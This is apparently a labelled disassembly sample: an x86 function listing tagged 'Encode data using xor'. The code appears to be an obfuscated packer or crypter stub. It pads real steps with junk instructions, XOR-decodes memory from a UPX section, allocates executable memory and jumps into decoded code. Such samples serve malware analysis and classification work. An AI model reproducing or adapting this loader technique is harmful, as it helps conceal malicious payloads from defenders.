Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb26ddd1e
and edi, ebx
or edi, ebx
sub edi, 0x736799dd
popal
sub ebx, 0xb45cea88
sub ebx, edi
mov ecx, 0
mov ebx, edi
inc eax
add eax, esi
mov edx, ebx
mov eax, esi
dec eax
sub esi, 0xa738ecd8
mov edi, edx
sub eax, esi
dec eax
add ecx, 1
not esi
add eax, 0x29802b8e
cmp ecx, 0x100ddc4
jne 0xa789ca
mov esi, 0xaaebe756
add eax, 1
sub esi, 0x442bcd35
mov ebx, edi
add ebx, 0x47ccee97
mov edi, 0xa78796
add ecx, edx
and edx, edx
add ecx, edx
mov esi, 0xa7898a
sub edx, ecx
inc edx
mov eax, dword [edi]
mov ecx, 0xd06d7e6f
mov ebx, edx
sub ebx, 0x7be273f
and eax, 0xff
add ecx, 0x13bcfed5
add edx, ebx
sub ebx, ecx
xor dword [esi], eax
and ecx, ecx
inc ecx
add esi, 1
inc ebx
sub ebx, 0xfe8ad5ab
inc edi
and ecx, ecx
dec edx
and ecx, edx
cmp esi, entry0
jl 0xa78a25
mov ebx, edx
dec edx
or ebx, edx
sub ebx, ecx
dec ecx
sub ebx, edx
sub esi, ebx
add esi, ecx
mov edi, 0xa7898e
inc edx
inc edx
dec ecx
mov edi, dword [edi]
inc edx
not ebx
mov edi, dword [edi]
add edx, edx
inc ecx
mov ecx, ebx
push edi
mov ebx, edx
dec esi
or esi, esi
mov edi, 0xa7898a
sub ecx, 0x5e18ebea
sub esi, ecx
and ecx, edx
mov edi, dword [edi]
add esi, ecx
inc ecx
mov edi, dword [edi]
sub ecx, edx
mov ebx, edx
sub esp, 4
mov dword [esp], 0xa78992
sub ecx, ebx
mov ecx, esi
dec ebx
call edi
mov ecx, esi
not ebx
mov ebx, 0x241a558
pop edi
add esi, 0x22d4c173
add ebx, 0xb301e1f6
sub edx, ecx
push 0xa7899f
add edx, 0xf5fb75f9
and esi, ecx
mov ebx, edx
push eax
not ebx
mov ecx, 0x21eb2258
add edx, ebx
call edi
add esi, ecx
inc esi
mov ebx, 0x5973b4d2
push 0x40
add ecx, edx
and edx, ebx
push 0x3000
sub ebx, 1
inc ebx
push 0x20000789
or ecx, edx
sub edx, 0xf4289739
sub esp, 4
mov dword [esp], 0
mov esi, ecx
sub edx, 0x9a30d4b3
call eax
sub ecx, esi
mov esi, ebx
add eax, 0x200006cd
not esi
mov edx, 0xfe555c9f
sub ecx, 1
mov edi, 0x293c6600
add esi, 0xddc8796f
add ebx, 1
sub edx, 0x4e005c0f
mov dword [eax], edi
or edx, edx
mov ecx, edx
mov edi, dword [eax]
inc ecx
add edx, 0xeeb1c299
mov esi, edx
cmp edi, 0x293c6600
je 0xa78b7a
mov ebx, 0
mov dword [ebx], ecx
inc ecx
not esi
or ecx, ebx
or edx, ecx
add ebx, edi
sub edi, ebx
or edi, ebx
mov edx, section.UPX1
sub edi, 0xe35f039d
sub edi, 1
or edi, ebx
mov ecx, 0xa78795
sub ebx, 0x4b1f1b94
mov edi, 0xb26807b6
mov esi, 0
sub ebx, edi
sub edi, ebx
mov eax, 0xa78796
mov edi, ebx
sub ebx, 0x72de4f7e
lea eax, [esi + eax]
sub ebx, 0xaca3daa0
dec edi
mov eax, dword [eax]
not ebx
add ebx, ebx
and eax, 0xff
add edi, edi
sub ebx, edi
sub ebx, edi
inc esi
sub edi, ebx
mov edi, ebx
cmp esi, 0x1f4
jne 0xa78bee
mov esi, 0
dec edi
sub edi, 0xd595b3d1
not edi
add ebx, 0xe08db8e7
dec edi
xor dword [edx], eax
sub edi, ebx
mov edi, 0xe80af241
not ebx
add edx, 2
add edi, 0x6f1ee2f5
and edi, edi
cmp edx, ecx
jl 0xa78bb3
mov edi, ebx
mov edi, 0x1c190edc
sub ebx, 0x8cf2a2f
sub edi, 0xbb5a85c2
mov eax, section.UPX1
and edi, ecx
add ecx, ecx
mov ecx, 0xa72e4b63
mov ebx, section.UPX1
not edi
not ecx
not ecx
mov esi, 0xa78795
mov edi, ecx
inc edi
mov edx, 0
mov ecx, edi
inc edi
add ecx, 0x63894804
mov dl, byte [ebx]
sub edi, ecx
add edi, edi
mov byte [eax], dl
sub edi, ecx
dec ecx
inc eax
sub ecx, 0xeb66a514
add ecx, 0x22d00d08
add ebx, 2
mov edi, ecx
dec ecx
cmp ebx, esi
jle 0xa78c61
sub edi, ecx
add edi, 0x65140fd0
mov edi, ecx
sub edi, 0xf5a454a0
not ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub ebx, edi
sub ebx, 1
ret